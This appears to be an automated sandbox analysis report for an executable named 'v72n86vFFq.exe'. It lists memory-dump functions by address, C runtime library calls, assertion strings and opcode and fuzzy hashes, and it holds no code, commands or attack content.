Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __hextodec__inc_isxdigit
String ID: +$p
API String ID: 3003077261-1790238857
Opcode ID: 8141e411b41b2874223ec2bdab0b73dd7f2caf6ab2412f8b7620beb071b74c5b
Instruction ID: 1a3a246b1ef3dd1fd53231bce3f17de82f75e571d98a9a1cc6c27f83f7b2a23b
Opcode Fuzzy Hash: 8141e411b41b2874223ec2bdab0b73dd7f2caf6ab2412f8b7620beb071b74c5b
Instruction Fuzzy Hash: EF315074C8426D8BDF24DBA9DD847FEBB71AF15308F1480EBD81966202D2395AC1DF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0042AFD3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042B020
__invalid_parameter.LIBCMTD ref: 0042B0AD

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0042B071, 0042B09E
bufferSize <= INT_MAX, xrefs: 0042B065, 0042B0A8
_wcstombs_s_l, xrefs: 0042B0A3

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 7b954b603d011495ac32ee083cbab960c9ff6aed21595cdf501ea5b0f9b8b4c3
Instruction ID: 3cdacd88034c355c22768bb08d7941c7c4637c6426dd706e05bc973acce96a4b
Opcode Fuzzy Hash: 7b954b603d011495ac32ee083cbab960c9ff6aed21595cdf501ea5b0f9b8b4c3
Instruction Fuzzy Hash: 1621AE70A40359DBCB25CF58DC41BAF77A0FB44318F60462BE8252A3C1D77A9990CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0042AF45, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0042AFBB

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0042AF7F, 0042AFAC
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 0042AF73, 0042AFB6
u!h, xrefs: 0042AF71
_wcstombs_s_l, xrefs: 0042AFB1

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$u!h
API String ID: 3730194576-3242033426
Opcode ID: 71fa463963d1bdda0d6976da5c6e16add8a4422448806e4f4ab4748145dcbb83
Instruction ID: 981af06d33a0f87101c3d36b75ef1253854d4d7c367327d4a99ab8a697e0e8a5
Opcode Fuzzy Hash: 71fa463963d1bdda0d6976da5c6e16add8a4422448806e4f4ab4748145dcbb83
Instruction Fuzzy Hash: A10186B0B40329DBEB209E41DD067AF7260AB14B1DF52442BF826752C1C3FD45A0CA9F

Uniqueness

Uniqueness Score: -1.00%

Function 00429395, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0042940B

Strings

(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0), xrefs: 004293C3, 00429406
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c, xrefs: 004293CF, 004293FC
_mbstowcs_s_l, xrefs: 00429401
u!hXe@, xrefs: 004293C1

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __invalid_parameter
String ID: (pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0)$_mbstowcs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c$u!hXe@
API String ID: 3730194576-623929600
Opcode ID: 433421f7f1de178495a2ffab3c7bb7cfd39b4ad17661b51c189dd6b5e577263d
Instruction ID: d40a23c43f194c937a0a0147875bad951c96e61ab979ddcdb9668c13904d7e60
Opcode Fuzzy Hash: 433421f7f1de178495a2ffab3c7bb7cfd39b4ad17661b51c189dd6b5e577263d
Instruction Fuzzy Hash: 13018170B80329EAEF20AE44FC4A7DE7260AB18719F51402BF916352C1C7FD4890CA6E

Uniqueness

Uniqueness Score: -1.00%

Function 004319E0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00431A5A
__aullrem.LIBCMT ref: 00431C2A
__aulldiv.LIBCMT ref: 00431C4C

Strings

9, xrefs: 00431C5D

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 587d34e9481cccb220f5f181fcec6e826acbbf9743806cb21d9144702bd99237
Instruction ID: 513bb2615fe5657347cae49721bd7a071dfa8aa7b931c05944b0ded35e42574b
Opcode Fuzzy Hash: 587d34e9481cccb220f5f181fcec6e826acbbf9743806cb21d9144702bd99237
Instruction Fuzzy Hash: DB4125B0E00129DFDB24CF58C881BAEB7B4FF89314F10519AD188AB250D7786E81CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00431A2E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00431A5A
__aullrem.LIBCMT ref: 00431C2A
__aulldiv.LIBCMT ref: 00431C4C

Strings

9, xrefs: 00431C5D

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 56efae3e92efd6b9570c1997dc029953cd4e03429df702039e161a43b3dcd200
Instruction ID: b75fe980ef3f4d7ca9c7b3336d99380847743d9ab91d6e3cbf025722587f0e1c
Opcode Fuzzy Hash: 56efae3e92efd6b9570c1997dc029953cd4e03429df702039e161a43b3dcd200
Instruction Fuzzy Hash: 2F4106B1E00129DFDB24CF58C881BAEB7B5FB89314F10919AD188A7251D7386E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00430686, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004306B2
__aullrem.LIBCMT ref: 0043087F
__aulldiv.LIBCMT ref: 004308A1

Strings

9, xrefs: 004308B2

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 269ab7f58daeab099a455722b2f3f76ea72d2d74563c50ad3b0b3921bcc7cca1
Instruction ID: 6728d7270b62287cf649296b3eda0ca36c9a36884e9aa152c7e1e0c7038f3817
Opcode Fuzzy Hash: 269ab7f58daeab099a455722b2f3f76ea72d2d74563c50ad3b0b3921bcc7cca1
Instruction Fuzzy Hash: C6410971D05628DFEB24DF59CCA9BAEB7B5FB88304F10969AD009A7240C7386E85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 004319D7, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00431A5A
_get_int64_arg.LIBCMTD ref: 00431A82
__aullrem.LIBCMT ref: 00431C2A
__aulldiv.LIBCMT ref: 00431C4C

Strings

9, xrefs: 00431C5D

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 51a1e4ad8bce3b7dfa5e072f009244a2fa6374828f608762a9746ddc75340079
Instruction ID: bdb8b479af787c7d88c3907a61e89d591a721532f6763b09f3fc30a0a4043b5e
Opcode Fuzzy Hash: 51a1e4ad8bce3b7dfa5e072f009244a2fa6374828f608762a9746ddc75340079
Instruction Fuzzy Hash: B44126B1E00129DFDB24CF58C881BAEB7B4FB89314F1051DAE288A7211D7386E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00430635, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004306B2
_get_int64_arg.LIBCMTD ref: 004306DA
__aullrem.LIBCMT ref: 0043087F
__aulldiv.LIBCMT ref: 004308A1

Strings

9, xrefs: 004308B2

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 86cfd9290d2ba7a397d925047a6703890f846bca8cb66e7cfa13555f7a48d856
Instruction ID: 47b6def84b1881e3435fb6b1d3257f9ead1ff5ffff45a1a86f1fd5ba6262fe21
Opcode Fuzzy Hash: 86cfd9290d2ba7a397d925047a6703890f846bca8cb66e7cfa13555f7a48d856
Instruction Fuzzy Hash: 5241E871D05628DFDB24DF59C8A9BAEB7B5FB48304F2092DAD009A7240C7386E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0041E153, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E25D
__free_base.LIBCMTD ref: 0041E269

Strings

pHead->nBlockUse == nBlockUse, xrefs: 0041E16B
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041E177

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __free_base_memset
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nBlockUse == nBlockUse
API String ID: 2669475236-3676899318
Opcode ID: 7fc167615fc8d876292a2a40bd2650bbefbb1bae58071c891ecedb75ab13edb0
Instruction ID: 8a8945300bed53bffa5f2286ccabf0893324bb0ae5e3451a42a3f886dc1be482
Opcode Fuzzy Hash: 7fc167615fc8d876292a2a40bd2650bbefbb1bae58071c891ecedb75ab13edb0
Instruction Fuzzy Hash: C1214F78A00104EFCB14CF45DA91AAA77B6FB89308F34C199D8051B396C779EE42DB89

Uniqueness

Uniqueness Score: -1.00%

Function 00429045, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 004290BA

Strings

s != NULL, xrefs: 00429078, 004290B5
_mbstowcs_l_helper, xrefs: 004290B0
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c, xrefs: 00429081, 004290AB

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __invalid_parameter
String ID: _mbstowcs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c$s != NULL
API String ID: 3730194576-4287754273
Opcode ID: a92daefb9b94736b7244da4e649f4937255ecf3674aaeed1cd9baca661deca18
Instruction ID: b7411994f8ace8ae7cfb2afb96f3ecb4ac54418bf7532ebb5a8d7718b2e3871b
Opcode Fuzzy Hash: a92daefb9b94736b7244da4e649f4937255ecf3674aaeed1cd9baca661deca18
Instruction Fuzzy Hash: 3501A730B4031D9AEB205E61DC467AB36506B01715F60412BF51A652C1D3FD4A94C59E

Uniqueness

Uniqueness Score: -1.00%

Function 0041E1CE, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E25D
__free_base.LIBCMTD ref: 0041E269

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041E1DA
_pLastBlock == pHead, xrefs: 0041E1CE

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __free_base_memset
String ID: _pLastBlock == pHead$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2669475236-449961717
Opcode ID: d486812c5b3fc28f5f1a923a83847068540e9857b0d63b82a02c253604e8b3bb
Instruction ID: d0822b63700ed29dc2526d6f9c23a5438f59d810ee9f910c97a0ccc70c66fa2c
Opcode Fuzzy Hash: d486812c5b3fc28f5f1a923a83847068540e9857b0d63b82a02c253604e8b3bb
Instruction Fuzzy Hash: 1301A778A40104EBCB04CF95DA51F9AB3B5BB88308F3481D9E90527386D675EE41EB49

Uniqueness

Uniqueness Score: -1.00%

Function 0042AA16, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0042AA77

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0042AA3E, 0042AA68
pwcs != NULL, xrefs: 0042AA35, 0042AA72
_wcstombs_l_helper, xrefs: 0042AA6D

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: 6de846b1843296cab8bdf0a81943c89f857c876c6af833b417e8defc1d28477a
Instruction ID: 096611a348e77ce22db660485c5eced4540e8eb1fdd1bbb236751a3ef402a4d8
Opcode Fuzzy Hash: 6de846b1843296cab8bdf0a81943c89f857c876c6af833b417e8defc1d28477a
Instruction Fuzzy Hash: 28F0A470F80228ABDB206E60AD07B5E32606B10758F51156BF816741C2D7BE4674C56F

Uniqueness

Uniqueness Score: -1.00%

Function 0041EB44, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0041EB8C

Strings

state != NULL, xrefs: 0041EB44, 0041EB87
_CrtMemCheckpoint, xrefs: 0041EB82
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041EB50, 0041EB7D

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __invalid_parameter
String ID: _CrtMemCheckpoint$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$state != NULL
API String ID: 3730194576-1953525605
Opcode ID: ed0054e5c882c886d5f5742aa64567d9f3c09a543fab2b44f73096b097aaa867
Instruction ID: 0b7f57d47f050d1a69859bbc78de835d83913d6f2c20c55d2fb81063a493630c
Opcode Fuzzy Hash: ed0054e5c882c886d5f5742aa64567d9f3c09a543fab2b44f73096b097aaa867
Instruction Fuzzy Hash: DAF055BABC43046AE1307E42AD07F993364A301B14F3008BBF506746C2D9FEA48041AF

Uniqueness

Uniqueness Score: -1.00%

Function 00434CC1, Relevance: 6.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 00434D75

Part of subcall function 00436600: DecodePointer.KERNEL32(?), ref: 004366E1

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: DecodePointer___libm_error_support
String ID:
API String ID: 3413902329-0
Opcode ID: 8344e6e619228265bc0989113f312ec0801abdc7da7d69eb812d1c9cb7f40c1c
Instruction ID: dd1b30897ec9b106e498fa1ef642bc5eb5a8fcb024d9c9d237a62ea0749900c5
Opcode Fuzzy Hash: 8344e6e619228265bc0989113f312ec0801abdc7da7d69eb812d1c9cb7f40c1c
Instruction Fuzzy Hash: 3C414861C0874596CF22AB39D9061AEBBB0EF99344F10DB6BF8C861211EF389955C34B

Uniqueness

Uniqueness Score: -1.00%

Function 0041F4CE, Relevance: 6.0, APIs: 4, Instructions: 31threadCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(5E20836C,00000001,00000000), ref: 0041F4EB
__mtterm.LIBCMTD ref: 0041F4F7
__initptd.LIBCMTD ref: 0041F506
GetCurrentThreadId.KERNEL32 ref: 0041F50E

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDecodePointerThread__initptd__mtterm
String ID:
API String ID: 2329455292-0
Opcode ID: c4d0d1de486b68c7155fd421e1f0f79c75494ebb0aa0010b2ee75408a7fefda5
Instruction ID: aa9e08b8872161034e56e82a2094a2df4eddf696a632531dcdf7b31a230326ec
Opcode Fuzzy Hash: c4d0d1de486b68c7155fd421e1f0f79c75494ebb0aa0010b2ee75408a7fefda5
Instruction Fuzzy Hash: A4F03074500204ABC700DFE8DC45ADA7B75AB48315F1086B9E809D73A1E63599C6CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041B7CB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 0041B982
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0041CC8A

Strings

n, xrefs: 0041B9AD

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: 983437aea85ab707cf24479d83ee6e36d13f0737e229d81b5b899a4f12187600
Instruction ID: d150b897bfca615789bd4568fd31162155020f99249adc89a349b7514d9ef3c4
Opcode Fuzzy Hash: 983437aea85ab707cf24479d83ee6e36d13f0737e229d81b5b899a4f12187600
Instruction Fuzzy Hash: 2241ADB09442698BCF24CF65C9947FEBBB0EF11314F14819BE5596A281D3385EC2DF89

Uniqueness

Uniqueness Score: -1.00%

Function 0041B7F6, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 0041B982
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0041CC8A

Strings

n, xrefs: 0041B9AD

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: b6b1499b4c26f23fab75f037f459a6859954fa3d6cd69fad3c5df1aa7ed9570c
Instruction ID: d150b897bfca615789bd4568fd31162155020f99249adc89a349b7514d9ef3c4
Opcode Fuzzy Hash: b6b1499b4c26f23fab75f037f459a6859954fa3d6cd69fad3c5df1aa7ed9570c
Instruction Fuzzy Hash: 2241ADB09442698BCF24CF65C9947FEBBB0EF11314F14819BE5596A281D3385EC2DF89

Uniqueness

Uniqueness Score: -1.00%

Function 0041B8BC, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 0041B982
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0041CC8A

Strings

n, xrefs: 0041B9AD

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: 03c3eb1c0ba3f23d99a49850b878f2ec4190fed0ca07b3fc0c8e51424496d626
Instruction ID: 34790a094105a10bae7eabf7b47e9535244c57b88d162eaf7fe68fc05b83d0e3
Opcode Fuzzy Hash: 03c3eb1c0ba3f23d99a49850b878f2ec4190fed0ca07b3fc0c8e51424496d626
Instruction Fuzzy Hash: 4C319CB09441A98BCF24CF60C9947EEBBB0EF11315F1441DBD5592A281D3385EC2DF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041C1FF, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_isxdigit.LIBCMTD ref: 0041C26E
__hextodec.LIBCMTD ref: 0041C2A1
_isdigit.LIBCMTD ref: 0041C2C7
__inc.LIBCMTD ref: 0041C3AF
__un_inc.LIBCMTD ref: 0041C3D3
_isxdigit.LIBCMTD ref: 0041C42C
__hextodec.LIBCMTD ref: 0041C44F
_isdigit.LIBCMTD ref: 0041C472
__inc.LIBCMTD ref: 0041C523
__un_inc.LIBCMTD ref: 0041C547
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0041CC8A

Strings

p, xrefs: 0041C260

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale__hextodec__inc__un_inc_isdigit_isxdigit$UpdateUpdate::~_
String ID: p
API String ID: 1652772854-2181537457
Opcode ID: 199fb68f9b735305da47c3ce218be239777aea5a017a9b919e123add8909e4b7
Instruction ID: 4ab0f8e59c6a7c5105474d3d7b3554906d1c865434942eee1bba14fab9fe5b2b
Opcode Fuzzy Hash: 199fb68f9b735305da47c3ce218be239777aea5a017a9b919e123add8909e4b7
Instruction Fuzzy Hash: 67214F74D8426E8BDB24CBA5DD847FEBB716B55308F1480EBD81962206D2385AC1DF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0041DDCF, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0041DDDF

Strings

_CrtCheckMemory(), xrefs: 0041DDE8
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041DDF4

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: CheckMemory
String ID: _CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2067751306-2660621803
Opcode ID: e47cf3807bcfeefbddfaf37696c2f335440132531c90721a26d87e58b9b46c8c
Instruction ID: f57f0e4dafe0d9ee3d3bc602f9257fd8789eb1f9bf62044713ecdbd651193e3d
Opcode Fuzzy Hash: e47cf3807bcfeefbddfaf37696c2f335440132531c90721a26d87e58b9b46c8c
Instruction Fuzzy Hash: 9BF0EC74A4170196DA14DF199E05BA53370E76130AF300437E605585D1E7F8D8D0858E

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: v72n86vFFq.exe PID: 1440 Parent PID: 7056 v72n86vFFq.exeCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

